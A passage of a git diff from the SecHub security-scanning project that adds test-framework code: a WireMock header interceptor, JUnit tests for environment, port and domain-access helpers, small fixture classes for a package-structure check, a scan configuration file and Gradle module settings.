} + +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/WireMockTagInterceptor.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/WireMockTagInterceptor.java new file mode 100644 index 0000000000..4d3f428456 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/WireMockTagInterceptor.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import java.io.IOException; +import java.util.Collections; + +import org.springframework.http.HttpRequest; +import org.springframework.http.client.ClientHttpRequestExecution; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.ClientHttpResponse; + +/** + * A special interceptor which provides a workaround for wire mock tests when + * calling same URL multiple times. The origin approach done by wiremock with + * "scenario" did not work - at least for getters.
    + *
    + * The workaround is following: Set an instance of the interceptor to a config. When a context provides REST access + * it can fetch the interceptor from configuration options map and use it... So its possible for wire mock to + * identify the requests even when originally same. A little bit dirty, but the only way to provide it. + * @author Albert Tregnaghi + * + */ +public class WireMockTagInterceptor implements ClientHttpRequestInterceptor { + private static final String HEADER_KEY = "wiremock-workaround"; + private int value; + private int expectedValue; + + @Override + public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) + throws IOException { + request.getHeaders().put(getHeaderKey(), Collections.singletonList("" + value)); + value++; + return execution.execute(request, body); + } + + public String getHeaderKey() { + return HEADER_KEY; + } + + /** + * @return next expected value (will increase on every call) + */ + public int getExpectedValue() { + return expectedValue++; + } + +} diff --git a/sechub-testframework/src/test/java/com/daimler/sechub/test/DefaultEnvironmentEntryProviderTest.java b/sechub-testframework/src/test/java/com/daimler/sechub/test/DefaultEnvironmentEntryProviderTest.java new file mode 100644 index 0000000000..df0e4b41ee --- /dev/null +++ b/sechub-testframework/src/test/java/com/daimler/sechub/test/DefaultEnvironmentEntryProviderTest.java @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class DefaultEnvironmentEntryProviderTest { + + private DefaultEnvironmentEntryProvider providerToTest; + + @Before + public void before() { + providerToTest = new DefaultEnvironmentEntryProvider(); + } + + @Test + public void environment_entry_path_is_returned_from_provider_as_would_be_by_system_class() { + /* prepare */ + String pathValue = System.getenv("PATH"); + if (pathValue==null) { + throw new IllegalStateException("PATH should be always available, no matter if linux or windows!"); + } + + /* test */ + assertEquals(pathValue, providerToTest.getEnvEntry("PATH")); + + } + +} diff --git a/sechub-testframework/src/test/java/com/daimler/sechub/test/DomainAccessSourceVisitorTest.java b/sechub-testframework/src/test/java/com/daimler/sechub/test/DomainAccessSourceVisitorTest.java new file mode 100644 index 0000000000..2510e81109 --- /dev/null +++ b/sechub-testframework/src/test/java/com/daimler/sechub/test/DomainAccessSourceVisitorTest.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; + +import java.io.File; +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +public class DomainAccessSourceVisitorTest { + + private DomainAccessSourceVisitor visitorToTest; + private List packages; + private File sourceFile; + + @Test + public void same_domains_no_problem() { + /* execute */ + visitorToTest.visit(sourceFile, "com.daimler.sechub.domain.alpha",packages); + + /* test */ + assertTrue(visitorToTest.getProblems().isEmpty()); + + } + + @Test + public void different_domains_2_problem_when_2_imports() { + /* execute */ + visitorToTest.visit(sourceFile, "com.daimler.sechub.domain.beta",packages); + + /* test */ + assertEquals(2, visitorToTest.getProblems().size()); + + } + + @Before + public void before() { + packages = new ArrayList<>(); + sourceFile = new File("."); + + packages.add("com.daimler.sechub.domain.alpha.centauri"); + packages.add("com.daimler.sechub.domain.alpha.else"); + + visitorToTest = new DomainAccessSourceVisitor(); + } + +} diff --git a/sechub-testframework/src/test/java/com/daimler/sechub/test/TestPortProviderTest.java b/sechub-testframework/src/test/java/com/daimler/sechub/test/TestPortProviderTest.java new file mode 100644 index 0000000000..49c4871f6b --- /dev/null +++ b/sechub-testframework/src/test/java/com/daimler/sechub/test/TestPortProviderTest.java @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; + + + +public class TestPortProviderTest { + + private static final int DEFAULT = 666; + private TestPortProvider providerToTest; + private EnvironmentEntryProvider mockedEnvironmentEntryProvider; + + @Before + public void before() { + + mockedEnvironmentEntryProvider = mock(EnvironmentEntryProvider.class); + + providerToTest = new TestPortProvider(); + providerToTest.setEnvironmentEntryProvider(mockedEnvironmentEntryProvider); + } + + @Test + public void test_defaultinstance_uses_default_environment_entry_provider() { + /* test*/ + assertTrue(TestPortProvider.DEFAULT_INSTANCE.getEnvProvider() instanceof DefaultEnvironmentEntryProvider); + } + + + @Test + public void test_default_returned_when_property_not_set() { + /* test*/ + assertEquals(DEFAULT,providerToTest.getEnvOrDefault("test.only.portprovider.property.notset", DEFAULT)); + } + + @Test + public void test_default_returned_when_value_negative_1() { + /* prepare */ + when(mockedEnvironmentEntryProvider.getEnvEntry("test.only.portprovider.property.set")).thenReturn("-1"); + /* test*/ + assertEquals(DEFAULT,providerToTest.getEnvOrDefault("test.only.portprovider.property.set", DEFAULT)); + } + + @Test + public void test_default_returned_when_value_justtext() { + /* prepare */ + when(mockedEnvironmentEntryProvider.getEnvEntry("test.only.portprovider.property.set")).thenReturn("justtext"); + /* test*/ + assertEquals(DEFAULT,providerToTest.getEnvOrDefault("test.only.portprovider.property.set", DEFAULT)); + } + + @Test + public void test_42_returned_when_property_set_42() { + /* prepare */ + when(mockedEnvironmentEntryProvider.getEnvEntry("test.only.portprovider.property.set")).thenReturn("42"); + /* test*/ + assertEquals(42,providerToTest.getEnvOrDefault("test.only.portprovider.property.set", DEFAULT)); + + } + +} diff --git a/sechub-testframework/src/test/resources/com/daimler/sechub/domain/administration/TestAdminDomain.java b/sechub-testframework/src/test/resources/com/daimler/sechub/domain/administration/TestAdminDomain.java new file mode 100644 index 0000000000..234d166cab --- /dev/null +++ b/sechub-testframework/src/test/resources/com/daimler/sechub/domain/administration/TestAdminDomain.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration; + +public class TestAdminDomain { + + public void showAccess() { + System.out.println("I am accessed..."); + } + +} diff --git a/sechub-testframework/src/test/resources/com/daimler/sechub/domain/scan/TestScanDomainUsesOtherDomain.java b/sechub-testframework/src/test/resources/com/daimler/sechub/domain/scan/TestScanDomainUsesOtherDomain.java new file mode 100644 index 0000000000..b53d2ac413 --- /dev/null +++ b/sechub-testframework/src/test/resources/com/daimler/sechub/domain/scan/TestScanDomainUsesOtherDomain.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import com.daimler.sechub.domain.administration.TestAdminDomain; + +public class TestScanDomainUsesOtherDomain { + /* Test case scenario - will be recognized by PackageStructureTest */ + public static void main(String[] args) { + TestAdminDomain illegalAccessToAnotherDomain = new TestAdminDomain(); + illegalAccessToAnotherDomain.showAccess(); + } +} diff --git a/sechub.json b/sechub.json new file mode 100644 index 0000000000..ed7923373d --- /dev/null +++ b/sechub.json @@ -0,0 +1,27 @@ +{ + "apiVersion" : "1.0" , + + "codeScan": { + "fileSystem": { + "folders": ["sechub-adapter/src/main/java", + "sechub-adapter-checkmarx/src/main/java", + "sechub-adapter-nessus/src/main/java", + "sechub-adapter-netsparker/src/main/java", + "sechub-administration/src/main/java", + "sechub-authorization/src/main/java", + "sechub-cli/src", + "sechub-notification/src/main/java", + "sechub-scan/src/main/java", + "sechub-scan-product-checkmarx/src/main/java", + "sechub-scan-product-nessus/src/main/java", + "sechub-scan-product-netsparker/src/main/java", + "sechub-scan-product-sereco/src/main/java", + "sechub-schedule/src/main/java", + "sechub-sereco/src/main/java", + "sechub-server/src/main/java", + "sechub-shared-kernel/src/main/java" + ] + } + } + +} diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000000..3152b9e618 --- /dev/null +++ b/settings.gradle @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +include 'sechub-cli', +/* documentation */ +'sechub-doc', +'sechub-doc:architecture', +'sechub-doc:techdoc', +'sechub-doc:user-handbook', + +/* server POD area */ +'sechub-server', +'sechub-integrationtest', +'sechub-schedule', +'sechub-scan', +'sechub-scan-testbase', +'sechub-scan-product-netsparker', +'sechub-scan-product-nessus', +'sechub-scan-product-checkmarx', +'sechub-scan-product-sereco', + +// adapters +'sechub-adapter', +'sechub-adapter-netsparker', +'sechub-adapter-nessus', +'sechub-adapter-checkmarx', + +// authorization +'sechub-authorization', +// administration +'sechub-administration', /* administration provides a rest api */ +'sechub-notification', + +'sechub-sereco', /* security report collector = sereco */ + +'sechub-shared-kernel', +'sechub-other', + +'sechub-test', /* a special overall test project - has ALL dependencies */ + +'sechub-testframework', + +'sechub-scan-testframework', +'sechub-shared-kernel-testframework', + +'sechub-developertools' +